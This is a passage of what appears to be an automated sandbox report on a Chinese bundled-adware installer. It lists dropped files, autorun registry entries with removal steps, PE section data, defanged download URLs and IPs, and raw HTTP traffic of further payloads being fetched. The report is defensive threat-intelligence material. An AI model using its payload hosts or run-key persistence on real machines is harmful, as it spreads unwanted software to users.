%Program Files%\yyfm0529\2014081121\Data\dh.ini (56 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\yyfm0529.lnk (840 bytes)
%Program Files%\yyfm0529\2014081121\swresample-0.dll (3312 bytes)
%Program Files%\yyfm0529\2014081121\libav.dll (6360 bytes)
%Program Files%\yyfm0529\2014081121\YFMSever.exe (23936 bytes)
%Program Files%\yyfm0529\2014081121\SysConfig.ini (256 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\¹Ù·½Ö÷Ò³.lnk (334 bytes)
%Program Files%\yyfm0529\2014081121\Data\client.ini (36 bytes)
%Program Files%\yyfm0529\2014081121\source.dll (6584 bytes)
%Program Files%\yyfm0529\2014081121\channels.xml (784 bytes)
%Program Files%\yyfm0529\2014081121\avcodec-54.dll (23936 bytes)
%Program Files%\yyfm0529\2014081121\favorfm.xml (440 bytes)
%Program Files%\yyfm0529\2014081121\Unins.exe (9608 bytes)
%Program Files%\yyfm0529\2014081121\Data\setup.ini (110 bytes)
%Program Files%\yyfm0529\2014081121\audio.dll (3616 bytes)
%Program Files%\yyfm0529\2014081121\Data\version.ini (32 bytes)
%Program Files%\yyfm0529\2014081121\DuiLib.dll (16288 bytes)
%Program Files%\yyfm0529\2014081121\avformat-54.dll (12536 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\yyfm0529\ÅäÖù¤¾ß\öÃâ€ÂØyyfm0529.lnk (830 bytes)
%Program Files%\yyfm0529\2014081121\pthreadGC2.dll (3616 bytes)
%Program Files%\yyfm0529\2014081121\avcore.dll (2392 bytes)
%Program Files%\yyfm0529\2014081121\yymusic05.exe (63950 bytes)
%Program Files%\yyfm0529\2014081121\avutil-52.dll (5520 bytes)
%Program Files%\yyfm0529\2014081121\Data\user2.ini (40 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\spkjrjp_30279.exe (38675 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\wwwww_3340.exe (433142 bytes)
%Program Files%\updatr\tj.txt (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\pczh_107_306.exe (46502 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\System.dll (11 bytes)
%Program Files%\updatr\oovmdw_70745.exe (51840 bytes)
%Program Files%\updatr\uboskin\config.ini (290 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\guagua_77150006814.exe (111890 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (65883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\NSISdl.dll (14 bytes)
%Program Files%\updatr\yunbo0717.exe (6360 bytes)
%Program Files%\updatr\union.exe (6360 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz3.tmp\mi (1 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddl.bca.bak (674 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl.dll (65930 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMReport.dll.bdl (33840 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca (24 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMDownload.dll (5520 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Desktop\Global.db (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\System.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNet.dll.bdl (30837 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\33f59beac1c942dd19f41a7fd30f3f9b.bdt (647 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\BDDownload\bddlp.bca.bak (16 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\hu.dll (3312 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\dl(1).dll.bdl (366657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\68905108990c088c31aead3b6d1651be.bdt (519 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\tmpjnmhqw.dll (27504 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\res\onlineWnd.zip (14184 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDLogicUtils.dll.bdl (47101 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\a644398e96b2e49d735a01f51e447930.bdt (3 bytes)
%Documents and Settings%\All Users\Application Data\Baidu\Common\Global.db (100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMNetGetInfo.dll (11344 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nss5.tmp (111370 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsh6.tmp\BDMSkin.dll (36698 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bdt\f2d00606824cd42a1c03eb9caa15e29f.bdt (631 bytes)
%Documents and Settings%\%current user%\Local Settings\Application Data\ffee2f88\DMSet.Xml (215 bytes)
%Program Files%\yyfm0529\2014081121\Data\server.ini (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\a[1].htm (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ver[1].txt (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\tj[1].ashx (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\stj[1].ashx (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1] (1644 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\UserData\YJM90VAL\www.fengyunzhibo[1].xml (478 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].js (6872 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\DD_belatedPNG_0.0.8a-min[1].js (3009 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[2].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\csbh200150[1].jpg (5193 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[2].js (2196 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\zhibo2[1].htm (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\load_small[1].gif (556 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAQRGDKX.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[2].css (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3-media[1].css (454 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\weixinscan[1].jpg (19100 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[6].jpg (1995 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\stat[1].php (2912 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[8].jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\to-new[1].png (72 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[9].jpg (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\home-v3[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[2].jpg (148 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\home-v3[1].css (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[1].jpg (156 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[5].jpg (2566 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\stat[1].gif (43 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[1].txt (767 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[1].php (751 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\jquery-1.8.3.min[1].js (56651 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\default_avatar_s[1].png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[1].txt (883 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[1].jpg (2454 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@mmstat[1].txt (170 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAZMOJ7D.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[3].jpg (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[1].jpg (569 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\CAEJ6JMD.gif (43 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[2].jpg (1997 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[2].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[4].jpg (3367 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\c[1].php (4285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[4].jpg (4 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@hm.baidu[1].txt (164 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\header-v3[1].js (1321 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VGXC.tmp (56 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@www.fengyunzhibo[2].txt (351 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz.mmstat[1].txt (205 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[3].jpg (2451 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\header-v3[1].css (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[2].js (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@fengyunzhibo[2].txt (1189 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\snapshot[3].jpg (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\snapshot[1].jpg (4 bytes)
%Documents and Settings%\%current user%\UserData\2Z89WTQV\www.fengyunzhibo[1].xml (266 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\home-v3[1].png (13875 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\nav-bk[1].png (126 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\hm[1].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\core[2].php (750 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\banner-hyperx-20140728[1].jpg (16784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[2].js (15 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\1pc[1].png (95 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\img_loading_v3[1].gif (773 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\new_message[1].js (1657 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\cover_bk[1].png (68 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[2].js (660 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@tv.aiqingzhihui[1].txt (257 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@cnzz[1].txt (165 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\json2[1].js (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\fystat.min[1].js (564 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\fyminiloader-min[1].js (363 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (12240 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\new_message[1].css (73 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\show_card[1].js (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\snapshot[2].jpg (464 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\fengyunzhibo[1].htm (526 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[7].jpg (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\hm[1].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\loading[1].gif (4285 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box-v3[2].js (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\atrk[1].js (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\snapshot[4].jpg (4 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_2014081121" = "%Program Files%\yyfm0529\2014081121\yymusic05.exe -mini"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"yyfm0529_News_2014081121" = "%Program Files%\yyfm0529\2014081121\YFMSever.exe -mini" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name: yunbo.cn
Product Name: ${PRODUCT_NAME}
Product Version: 2014.07.25.112739
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: Chinese (Simplified, PRC)
Company Name: yunbo.cnProduct Name: ${PRODUCT_NAME}Product Version: 2014.07.25.112739Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Comments: Language: Chinese (Simplified, PRC)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 4096 | 23488 | 23552 | 4.48909 | 7ebfade271f75cb4c180603ab653af42 |
.rdata | 28672 | 4496 | 4608 | 3.59139 | 9d6e96915262c9d1129a16fa0b02a19a |
.data | 36864 | 110456 | 1024 | 3.27356 | dbf10679c897d0edeee280fffdad552f |
.ndata | 147456 | 40960 | 0 | 0 | d41d8cd98f00b204e9800998ecf8427e |
.rsrc | 188416 | 71888 | 72192 | 4.94901 | c9dfd0da2d130aad197f15eefd45660c |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://yunbo.njdyx.cn/app.txt | 61.160.251.6 |
hxxp://yunbo.njdyx.cn/guagua_77150006814.zip | 61.160.251.6 |
hxxp://pxsw.n.shifen.com/ | |
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllw5/BDLogicUtils.dll | |
hxxp://swdownload.jomodns.com/sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll | |
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllv5/BDMReport.dll | |
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/BDMReport.dll | |
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllv3/BDMReport.dll | |
hxxp://swdownload.jomodns.com/sw-search-sp/client2/common/patch/19035267599/BDMReport.dll | |
hxxp://swdownload.jomodns.com/sw-search-shadu/client/dllv3/BDMReport.dll | |
hxxp://baidubrs.dlmix.glb0.lxdns.com/client/dllws/BDMNet.dll | |
hxxp://sxsw.n.shifen.com/ | |
hxxp://swdownload.jomodns.com/sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll | |
hxxp://yunbo.njdyx.cn/pczh_107_306.zip | 61.160.251.6 |
hxxp://admin.downloader.re63.cn/downcontainer/downLoadList.do | 122.226.104.80 |
hxxp://admin.downloader.re63.cn/downcontainer/downLoadForGuaGua.do?recid=77150006814 | 122.226.104.80 |
hxxp://admin.downloader.re63.cn/downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= | 122.226.104.80 |
hxxp://img001.com/tg_pic/1.png | 36.250.9.8 |
hxxp://img001.com/tg_pic/2.png | 36.250.9.8 |
hxxp://yunbo.njdyx.cn/wwwww_3340.zip | 61.160.251.6 |
hxxp://img001.com/tg_pic/3.png | 36.250.9.8 |
hxxp://c01.i06.arnic.hadns.net/0403/help1.html | |
hxxp://img001.com/tg_pic/4.png | 36.250.9.8 |
hxxp://img001.com/tg_pic/5.png | 36.250.9.8 |
hxxp://c01.i06.arnic.hadns.net/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go= | |
hxxp://img001.com/tg_pic/mobo14-1-9.png | 36.250.9.8 |
hxxp://sxcdn.kukuplay.com/support/mini/fyminiloader-min.js | |
hxxp://c.split.cnzz.com/stat.php?id=2701879&web_id=2701879 | |
hxxp://dft.nc.fengyunzhibo.com/mini/fymini.htm?f=aiqingzhihui&code=null | |
hxxp://dlsw.baidu.com/sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll | 180.76.22.47 |
hxxp://s.x.baidu.com/ | 180.76.2.46 |
hxxp://p.x.baidu.com/ | 123.125.65.152 |
hxxp://yunbo.luopf.cn/wwwww_3340.zip | 61.160.251.6 |
hxxp://dlsw.baidu.com/sw-search-sp/client2/common/patch/19562458020/BDLogicUtils.dll | 180.76.22.47 |
hxxp://dl1sw.baidu.com/client/dllw5/BDLogicUtils.dll | 8.37.235.11 |
hxxp://dl1sw.baidu.com/client/dllws/BDMNet.dll | 8.37.235.11 |
hxxp://update.aiqingzhihui.com/0403/help1.html | 218.76.217.140 |
hxxp://dl1sw.baidu.com/client/dllv3/BDMReport.dll | 8.37.235.11 |
hxxp://dlsw.baidu.com/sw-search-shadu/client/dllv3/BDMReport.dll | 180.76.22.47 |
hxxp://yunbo.luopf.cn/guagua_77150006814.zip | 61.160.251.6 |
hxxp://dl1sw.baidu.com/client/dllv5/BDMReport.dll | 8.37.235.11 |
hxxp://static.m0dlcdn.kukuplay.com/support/mini/fyminiloader-min.js | 211.142.30.27 |
hxxp://dl1sw.baidu.com/client/BDMReport.dll | 8.37.235.11 |
hxxp://tv.aiqingzhihui.com/zhibo2.html?id=pczh_107_306.exe&en=2014-8-11&go= | 222.186.20.122 |
hxxp://dlsw.baidu.com/sw-search-sp/client2/common/patch/19035267599/BDMReport.dll | 180.76.22.47 |
hxxp://s6.cnzz.com/stat.php?id=2701879&web_id=2701879 | 1.99.192.15 |
hxxp://yunbo.luopf.cn/pczh_107_306.zip | 61.160.251.6 |
hxxp://cj.guagua.cn/downloader/start?dlver=G1.0.0&pname=guagua&pver=514&cmdtype=0&cmdid=77150006814&ad=0&oemid=0&fromurl=&webid= | 122.226.104.80 |
dtrp.download.iyuntian.com | 123.125.65.150 |
cfg.download.iyuntian.com | 123.125.65.132 |
jp.download.iyuntian.com | 123.125.65.154 |
c.cnzz.com | 42.120.219.6 |
res.download.iyuntian.com | 123.125.65.129 |
tk.download.iyuntian.com | 123.125.69.209 |
rc.download.iyuntian.com | 123.125.65.153 |
mini.fengyunzhibo.com | 1.99.192.17 |
hzs17.cnzz.com | 42.156.140.23 |
utk.download.iyuntian.com | 123.125.65.147 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
<font color="red">GET /client/BDMReport.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=1048576-<br>
Referer: hXXp://xf.baidu.com<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Tue, 09 Sep 2014 16:02:42 GMT<br>
Date: Sun, 10 Aug 2014 16:02:42 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
Last-Modified: Wed, 15 May 2013 01:54:31 GMT<br>
Cache-Control: max-age=2592000<br>
Accept-Ranges: bytes<br>
Content-Range: bytes 1048576-1207519/1207520<br>
Content-Length: 158944<br>
Age: 96470<br>
Via: 1.0 fjqz153:8080 (Cdn Cache Server V2.0), 1.0 sdbz73:8104 (Cdn Cache Server V2.0), 1.0 jg9:8888 (Cdn Cache Server V2.0)<br>
Connection: close<br>
Content-Disposition: attachment;filename="BDMReport.dll"<br>
Access-Control-Allow-Origin: *<br>
<<< skipped >>>
<font color="red">GET /guagua_77150006814.zip HTTP/1.0<br>
Host: yunbo.luopf.cn<br>
User-Agent: NSISDL/1.2 (Mozilla)<br>
Accept: */*<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Content-Length: 921448<br>
Content-Type: application/x-zip-compressed<br>
Last-Modified: Thu, 24 Jul 2014 04:31:48 GMT<br>
Accept-Ranges: bytes<br>
ETag: "76aed22ef8a6cf1:32d"<br>
Server: Microsoft-IIS/6.0<br>
Date: Mon, 11 Aug 2014 18:50:50 GMT<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=6815744-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:46 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 19188560<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186607<br>
Content-Range: bytes 6815744-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /pczh_107_306.zip HTTP/1.0<br>
Host: yunbo.luopf.cn<br>
User-Agent: NSISDL/1.2 (Mozilla)<br>
Accept: */*<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Content-Length: 415552<br>
Content-Type: application/x-zip-compressed<br>
Last-Modified: Sun, 13 Jul 2014 03:35:27 GMT<br>
Accept-Ranges: bytes<br>
ETag: "f81e17d4b9ecf1:32d"<br>
Server: Microsoft-IIS/6.0<br>
Date: Mon, 11 Aug 2014 18:51:09 GMT<br>
<<< skipped >>>
<font color="red">GET /app.txt HTTP/1.0<br>
Host: yunbo.njdyx.cn<br>
User-Agent: NSISDL/1.2 (Mozilla)<br>
Accept: */*<br>
<br>
</font><br><font color="blue">HTTP/1.1 200 OK<br>
Content-Length: 1321<br>
Content-Type: text/plain<br>
Last-Modified: Fri, 25 Jul 2014 03:40:40 GMT<br>
Accept-Ranges: bytes<br>
ETag: "1e984b34baa7cf1:32d"<br>
Server: Microsoft-IIS/6.0<br>
Date: Mon, 11 Aug 2014 18:50:48 GMT<br>
<<< skipped >>>
<font color="red">GET /sw-search-sp/client2/ditch/25288850097/BDMZipNewForWs.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dlsw.baidu.com<br>
Range: bytes=13893632-<br>
Referer: hXXp://dlsw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.1 206 Partial Content<br>
Server: JSP3/2.0.0-b<br>
Date: Mon, 11 Aug 2014 18:50:56 GMT<br>
Content-Type: application/x-msdownload<br>
Content-Length: 12110672<br>
Connection: close<br>
ETag: c7062e404128917808756500d58121ee<br>
Last-Modified: Fri, 11 Jul 2014 14:29:11 GMT<br>
Expires: Tue, 12 Aug 2014 15:00:39 GMT<br>
Age: 186617<br>
Content-Range: bytes 13893632-26004303/26004304<br>
Access-Control-Allow-Origin: *<br>
Access-Control-Allow-Methods: HEAD, GET, OPTIONS, PUT, POST, DELETE<br>
Access-Control-Expose-Headers: Content-Length, ETag, x-bs-request-id, x-pcs-request-id<br>
Access-Control-Allow-Headers: Range, Origin, Content-Type, Accept, Content-Length<br>
Accept-Ranges: bytes<br>
x-bs-version: DD1C492BA7010AF29AF13DA0A61E68AF<br>
x-bs-request-id: MTAuNDYuMjMxLjQwOjgwODA6MjcwNDI3OTU1MDoyOC9KdWwvMjAxNCAyMzowMDozOCA=<br>
x-bs-meta-crc32: 2839405489<br>
Content-MD5: c7062e404128917808756500d58121ee<br>
<<< skipped >>>
<font color="red">GET /client/dllws/BDMNet.dll HTTP/1.1<br>
Accept: */*<br>
Accept-Language: zh-CN,zh,en-US<br>
Connection: Keep-Alive<br>
Host: dl1sw.baidu.com<br>
Range: bytes=425984-<br>
Referer: hXXp://dl1sw.baidu.com/<br>
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)<br>
<br>
</font><br><font color="blue">HTTP/1.0 206 Partial Content<br>
Expires: Wed, 27 Aug 2014 23:18:00 GMT<br>
Date: Mon, 28 Jul 2014 23:18:00 GMT<br>
Server: nginx<br>
Content-Type: application/octet-stream<br>
